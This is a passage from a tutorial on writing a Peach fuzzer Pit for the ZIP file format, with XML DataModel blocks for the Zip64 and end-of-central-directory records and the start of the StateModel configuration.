`of``=``"cfh_FileComment"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_DiskNumStart"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_IntFileAttrib"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_ExtFileAttrib"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_RelOffsetLFH"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``String` `name``=``"cfh_FileName"``/>` ` ``<``String` `name``=``"cfh_FldName"``/>` ` ``<``Blob` `name``=``"cfh_FileComment"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"CDSDigitalSignature"``>` ` ``<``String` `name``=``"cdsds_Signature"` `valueType``=``"hex"` `value``=``"504b0505"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cdsds_DataSize"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cdsds_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"cdsds_Data"` `mutable``=``"false"``/>` ` ``</``Block``>`  
---|---  
### G. Zip64 End of Central Directory Record

So hopefully by now, the Peach Pit format and the zip file structure are
becoming a bit more familiar. Looking at the Zip64 end of central directory
record we see 10 static length fields and one variable length field. Unlike
our past examples however, we see that the size of this field is not
explicitly defined in another field \(well, not exactly\). The specification
notes that the number contained within the field, “size of zip64 end of
central directory record”, specifies the size of our variable length data
field as the following:

\(Size of Zip64 End of Central Directory Record\) – \(All static length
fields\) – \(12 \(to include the size of itself \(8 bytes\) and the block
signature \(4 bytes\)\)

Using Peach there are a number of ways we can overcome this obstacle but our
best may be the simplest. We’ll go ahead and wrap everything below the field
“size of zip64 end of central directory record” including our variable length
“zip64 extensible data sector” in another block. We can then go ahead and
apply our standard size relation to the field “size of zip64 end of central
directory record”, and reference our newly created block.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |  `<``Block` `name``=``"Zip64EndOfCentralDirectoryRecord"``>` ` ``<``String` `name``=``"z64eocd_Signature"` `valueType``=``"hex"` `value``=``"504b0606"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfRecord"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"CentralDirectoryRecord"``/>` ` ``</``Number``>` ` ``<``Block` `name``=``"CentralDirectoryRecord"``>` ` ``<``Number` `name``=``"z64eocd_VerMadeBy"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_VerNeeded"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ThisDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SofCDDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_CDOnDisk"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_TotNumEntries"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_OffsetToCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_Z64ExtensDS"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` `</``Block``>`  
---|---  
How does this work? Well, by referencing a block with our size relation, Peach
will define a static length for that block \(the value contained within “size
of zip64 end of central directory record”\). For our example, let’s say that
this number is 608 \(this value will be in bytes\). After Peach totals the sum
of our static length fields \(352 bits == 44 bytes\), it’ll then subtract that
from the overall block size \(608 – 44 = 564\). The result will be the size
applied to our variable data field.

Before we move on, let’s see if we can’t add more detail to our variable data
field. Looking back at the specification we see that this variable data field
“may” retain special purpose data. The structure of this special purpose data
is as follows:

1 2 3 4 5 6 7 |  `<``Block` `name``=``"z64eocd_Z64ExtensDS"``>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Header"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Size"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"z64eocd_ExtensDs_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"z64eocd_ExtensDs_Data"``/>` `</``Block``>`  
---|---  
Further detail of this extra data block can be found in Appendix C of the
specification. It may be worth adding, but for now, we’ll leave it as it is.
So let’s go ahead and replace our extensible data sector with a block, and
place the code above in our block.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |  `<``Block` `name``=``"Zip64EndOfCentralDirectoryRecord"``>` ` ``<``String` `name``=``"z64eocd_Signature"` `valueType``=``"hex"` `value``=``"504b0606"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfRecord"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"CentralDirectoryRecord"``/>` ` ``</``Number``>` ` ``<``Block` `name``=``"CentralDirectoryRecord"``>` ` ``<``Number` `name``=``"z64eocd_VerMadeBy"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_VerNeeded"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ThisDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SofCDDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_CDOnDisk"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_TotNumEntries"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_OffsetToCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Block` `name``=``"z64eocd_Z64ExtensDS"``>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Header"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Size"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"z64eocd_ExtensDs_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"z64eocd_ExtensDs_Data"``/>` ` ``</``Block``>` ` ``</``Block``>` `</``Block``>`  
---|---  
### H. Zip64 End of Central Directory Locator

Excellent. Only two blocks left, both of which appear to be fairly straight
forward. Our first block, the “Zip64 end of central directory locator”, begins
with a static string to identify the block, followed by 3 static length
fields. Let’s go ahead and create this block in our Pit.

1 2 3 4 5 6 7 |  `<!-- H. Zip64 end of central directory locator -->` `<``Block` `name``=``"Zip64EndOfCentralDirectoryLocator"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"eocdl_Signature"` `valueType``=``"hex"` `value``=``"504b0607"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_NumOfDisk"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_RelOffsetofZ64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_TotNumDisk"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` `</``Block``>`  
---|---  
Hopefully your results look similar to the code above. You can see that we’ve
defined our signature and marked it as a token so that Peach knows to look for
this specific value when identifying the block. We finished up this block by
defining our 4 static length fields and adding the correct length for each.

### I. End of central directory record

Our final block, the “End of central directory record,” again contains our
static signature, followed by 7 static length fields and 1 variable length
field. Looking at the field names we also see that we can go ahead and apply a
size relation to 2 of our elements.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |  `<``Block` `name``=``"EndOfCentralDirectoryRecord"``>` ` ``<``String` `name``=``"eocd_Signature"` `valueType``=``"hex"` `value``=``"504b0506"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"eocd_NumOfDisk"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_NumOfDiskWCD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_TotNumEntriesOD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_TotNumEntriesICD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_SizeOfCenDir"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"CentralDirectoryStructure"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"eocd_OffsetToCenDir"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Block` `minOccur``=``"0"` `maxOccur``=``"1"``>` ` ``<``Number` `name``=``"eocd_CommLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"eocd_Comment"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"eocd_Comment"``/>` ` ``</``Block``>` `</``Block``>`  
---|---  
Again, you can see that we’ve defined our static signature, defined our 7
static length fields, 1 variable field, and applied a size relation to the
“size of \[...\] central directory” field and “Zip file comment length” field.
Make sure that you’re “size of \[...\] central directory” relation points
directly at the “Central Directory” block. This will ensures that this field
will remain valid while fuzzing the “Central Directory” block.

Our completed DataModel should look like the following:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 |  `<?``xml` `version``=``"1.0"` `encoding``=``"utf-8"``?>` `<``Peach` `version``=``"1.0"``>` ` ``<``Include` `ns``=``"default"` `src``=``"file:defaults.xml"``/>` ` ``<``DataModel` `name``=``"ZipFileFormat"``>` ` ``<!-- A. Local file header -->` ` ``<``Block` `name``=``"LocalFileHeader"` `minOccurs``=``"0"` `maxOccurs``=``"1024"``>` ` ``<``String` `name``=``"lfh_Signature"` `valueType``=``"hex"` `value``=``"504b0304"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"lfh_Ver"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Flags` `name``=``"lfh_BitFlag"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Flag` `name``=``"lfh_bf_Encrypted"` `size``=``"1"` `position``=``"0"``/>` ` ``<``Flag` `name``=``"lfh_bf_CompMethod1"` `size``=``"1"` `position``=``"1"``/>` ` ``<``Flag` `name``=``"lfh_bf_CompMethod2"` `size``=``"1"` `position``=``"2"``/>` ` ``<``Flag` `name``=``"lfh_bf_Zeroed"` `size``=``"1"` `position``=``"3"``/>` ` ``<``Flag` `name``=``"lfh_bf_Deflate"` `size``=``"1"` `position``=``"4"``/>` ` ``<``Flag` `name``=``"lfh_bf_Patched"` `size``=``"1"` `position``=``"5"``/>` ` ``<``Flag` `name``=``"lfh_bf_Strong"` `size``=``"1"` `position``=``"6"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused1"` `size``=``"1"` `position``=``"7"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused2"` `size``=``"1"` `position``=``"8"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused3"` `size``=``"1"` `position``=``"9"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused4"` `size``=``"1"` `position``=``"10"``/>` ` ``<``Flag` `name``=``"lfh_bf_Efs"` `size``=``"1"` `position``=``"11"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved1"` `size``=``"1"` `position``=``"12"``/>` ` ``<``Flag` `name``=``"lfh_bf_Enc_CD"` `size``=``"1"` `position``=``"13"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved2"` `size``=``"1"` `position``=``"14"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved3"` `size``=``"1"` `position``=``"15"``/>` ` ``</``Flags``>` ` ``<``Number` `name``=``"lfh_CompMethod"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_LastModTime"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_LastModDate"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_CompSizeData"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"lfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FileName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"lfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FldName"``/>` ` ``</``Number``>` ` ``<``String` `name``=``"lfh_FileName"``/>` ` ``<``String` `name``=``"lfh_FldName"``/>` ` ``<!-- B. File data -->` ` ``<``Block` `name``=``"lfh_Data"``>` ` ``<``Block` `name``=``"lfh_DataHasSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CRC32').getInternalValue()) != 0 and int(self.find('lfh_CompSize').getInternalValue()) != 0 and int(self.find('lfh_DecompSize').getInternalValue()) != 0"``/>` ` ``<``Blob` `name``=``"lfh_CompSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"lfh_DataNoSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CRC32').getInternalValue()) == 0 and int(self.find('lfh_CompSize').getInternalValue()) == 0 and int(self.find('lfh_DecompSize').getInternalValue()) == 0"``/>` ` ``<``Blob` `name``=``"lfh_CompNoSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``</``Block``>` ` ``<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CRC32').getInternalValue()) == 0 and int(self.find('lfh_CompSize').getInternalValue()) == 0 and int(self.find('lfh_DecompSize').getInternalValue()) == 0"``/>` ` ``<``String` `name``=``"dd_Sig"` `valueType``=``"hex"` `value``=``"504b0708"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Choice` `name``=``"dd_chooser"``>` ` ``<``Block` `name``=``"dd_64"``>` ` ``<``Number` `name``=``"dd_CompSize"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"dd_32"``>` ` ``<``Number` `name``=``"dd_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` ` ``</``Choice``>` ` ``</``Block``>` ` ``</``Block``>` ` ``<!-- E. Archive Extra Data Record: -->` ` ``<``Block` `name``=``"ArchiveExtraDataRecord"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"aedr_Sig"` `valueType``=``"hex"` `value``=``"08064b50"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"aedr_ExtFldLen"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Blob` `name``=``"aedr_ExtFld"``/> ``<!-- Look into adding more definition -->` ` ``</``Block``>` ` ``<!-- F. Central directory structure: -->` ` ``<``Block` `name``=``"CentralDirectoryStructure"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``Block` `name``=``"FileHeader"` `maxOccurs``=``"1024"``>` ` ``<``String` `name``=``"cfh_Signature"` `valueType``=``"hex"` `value``=``"504b0102"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cfh_Ver"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_VerReq"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Flags` `name``=``"cfh_BitFlag"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Flag` `name``=``"cfh_bf_Encrypted"` `size``=``"1"` `position``=``"0"``/>` ` ``<``Flag` `name``=``"cfh_bf_CompMethod1"` `size``=``"1"` `position``=``"1"``/>` ` ``<``Flag` `name``=``"cfh_bf_CompMethod2"` `size``=``"1"` `position``=``"2"``/>` ` ``<``Flag` `name``=``"cfh_bf_Zeroed"` `size``=``"1"` `position``=``"3"``/>` ` ``<``Flag` `name``=``"cfh_bf_Deflate"` `size``=``"1"` `position``=``"4"``/>` ` ``<``Flag` `name``=``"cfh_bf_Patched"` `size``=``"1"` `position``=``"5"``/>` ` ``<``Flag` `name``=``"cfh_bf_Strong"` `size``=``"1"` `position``=``"6"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused1"` `size``=``"1"` `position``=``"7"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused2"` `size``=``"1"` `position``=``"8"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused3"` `size``=``"1"` `position``=``"9"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused4"` `size``=``"1"` `position``=``"10"``/>` ` ``<``Flag` `name``=``"cfh_bf_EFS"` `size``=``"1"` `position``=``"11"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved1"` `size``=``"1"` `position``=``"12"``/>` ` ``<``Flag` `name``=``"cfh_bf_Enc_Cd"` `size``=``"1"` `position``=``"13"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved2"` `size``=``"1"` `position``=``"14"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved3"` `size``=``"1"` `position``=``"15"``/>` ` ``</``Flags``>` ` ``<``Number` `name``=``"cfh_CompMethod"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_LastModTime"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_LastModDate"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cfh_FileName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cfh_FldName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_FileCommLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cfh_FileComment"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_DiskNumStart"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_IntFileAttrib"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_ExtFileAttrib"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_RelOffsetLFH"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``String` `name``=``"cfh_FileName"``/>` ` ``<``String` `name``=``"cfh_FldName"``/>` ` ``<``String` `name``=``"cfh_FileComment"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"CDSDigitalSignature"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"cdsds_Signature"` `valueType``=``"hex"` `value``=``"504b0505"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cdsds_DataSize"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cdsds_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"cdsds_Data"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``</``Block``>` ` ``<!-- G. Zip64 end of central directory record -->` ` ``<``Block` `name``=``"Zip64EndOfCentralDirectoryRecord"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"z64eocd_Signature"` `valueType``=``"hex"` `value``=``"504b0606"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfRecord"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"CentralDirectoryRecord"``/>` ` ``</``Number``>` ` ``<``Block` `name``=``"CentralDirectoryRecord"``>` ` ``<``Number` `name``=``"z64eocd_VerMadeBy"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_VerNeeded"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ThisDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SofCDDiskNum"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_CDOnDisk"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_TotNumEntries"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_SizeOfCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_OffsetToCenDir"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Block` `name``=``"z64eocd_Z64ExtensDS"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Header"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"z64eocd_ExtensDs_Size"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"z64eocd_ExtensDs_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"z64eocd_ExtensDs_Data"``/>` ` ``</``Block``>` ` ``</``Block``>` ` ``</``Block``>` ` ``<!-- H. Zip64 end of central directory locator -->` ` ``<``Block` `name``=``"Zip64EndOfCentralDirectoryLocator"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"eocdl_Signature"` `valueType``=``"hex"` `value``=``"504b0607"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_NumOfDisk"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_RelOffsetofZ64"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_RecordLocator"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocdl_TotNumDisk"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<!--<Blob length="18"/>-->` ` ``</``Block``>` ` ``<!-- I. End of central directory record: -->` ` ``<``Block` `name``=``"EndOfCentralDirectoryRecord"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"eocd_Signature"` `valueType``=``"hex"` `value``=``"504b0506"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"eocd_NumOfDisk"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_NumOfDiskWCD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_TotNumEntriesOD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_TotNumEntriesICD"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"eocd_SizeOfCenDir"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<!--<Relation type="size" of="CentralDirectoryStructure"/>-->` ` ``</``Number``>` ` ``<``Number` `name``=``"eocd_OffsetToCenDir"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Block` `name``=``"ZipFileCommentBlock"` `minOccur``=``"0"` `maxOccur``=``"1"``>` ` ``<``Number` `name``=``"eocd_CommLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"eocd_Comment"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"eocd_Comment"``/>` ` ``</``Block``>` ` ``</``Block``>` ` ``</``DataModel``>`  
---|---  
## Fuzzer Configuration

Now that we have our DataModel created, we can go ahead and complete our Pit
by telling Peach what to do with the structure we’ve defined in our DataModel.
Luckily the FileFuzzerGui.xml template already contains most of the data we
need to configure, but for the purpose of this document, we’ll go ahead and
discuss them anyway. Let’s take a look at our StateModel.

### StateModel

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |  `<``StateModel` `name``=``"State"` `initialState``=``"Initial"``>` ` ``<``State` `name``=``"Initial"``>` ` ``<``Action` `type``=``"open"` `/>` ` ``<!-- Write out contents of file -->` ` ``<``Action` `name``=``"WriteFile"` `type``=``"output"` `publisher``=``"file"``>` ` ``<``DataModel` `ref``=``"FileData"` `/>` ` ``</``Action``>` ` ``<!-- Close file -->` ` ``<``Action` `type``=``"close"` `publisher``=``"file"` `/>` ` ``<!-- Launch the file consumer -->` ` ``<``Action` `type``=``"call"` `method``=``"notepad.exe"` `publisher``=``"launch"``/>` ` ``</``State``>` `</``StateModel``>`  
---|---  
Looking at the above snippet from our FileFuzzerGui.xml you can see that I’ve
left all the original comments in-line. Mike Eddington has already provided us
with a great explanation of each of the functions within our StateModel \(and
the rest of our template for that matter\) so there’s no point in me
reinventing the wheel. I’ll just add a few quick notes in line to discuss some
of the more obscure parameters in use here. For a listing of parameters not
already included in the FileFuzzerGui.xml, please see the documentation here
at the Peach project page.

Looking at our template, we can see that the StateModel is defined in a
similar way as our DataModel with the exception of 1 additional parameter.

**StateModel Parameters**

  * **name**
    * As with our past elements, the name parameter allows us to define a name for this StateModel. More complex Pits can contain multiple StateModels so defining a unique name is best in the event you need to reference this element later. This parameter is required.
  * **initialState**
    * The initialState parameter, as the name implies, defines the first State to be used in the StateModel. Each StateModel can utilize multiple States depending on the fuzzer’s requirements. This parameter is required.

With our <StateModel> container out of the way, we can see that the template
defines a single <State> \(atleast one “State” is required within our
“StateModel”\). Luckily for us, that’s all we’ll need. Multiple States are
more common in complex network fuzzing rather than file format fuzzing. The
purpose of each State is to act as an container for the Action element.

The Action element is reponsible for instructing Peach exactly what do do with
our data. Before we modify the Actions defined in our template, let’s briefly
discuss the options available to Action elements.

**Action Parameters**  
This is only a small sub-set of the possible parameters available to the
Action element. Please reference the full spec available here, at the Peach
project page.

  * **type**
    * The “type” parameter defines the purpose of the action. For instance, our first action type is “open.” This action is response for opening the file and preparing it for any further actions to be performed. The three actions listed in the FileFuzzerGui.xml template are only a small subset of the possible Action types available. A full listing of Peach’s action types can be found here, at the Peach project page.
  * **publisher**
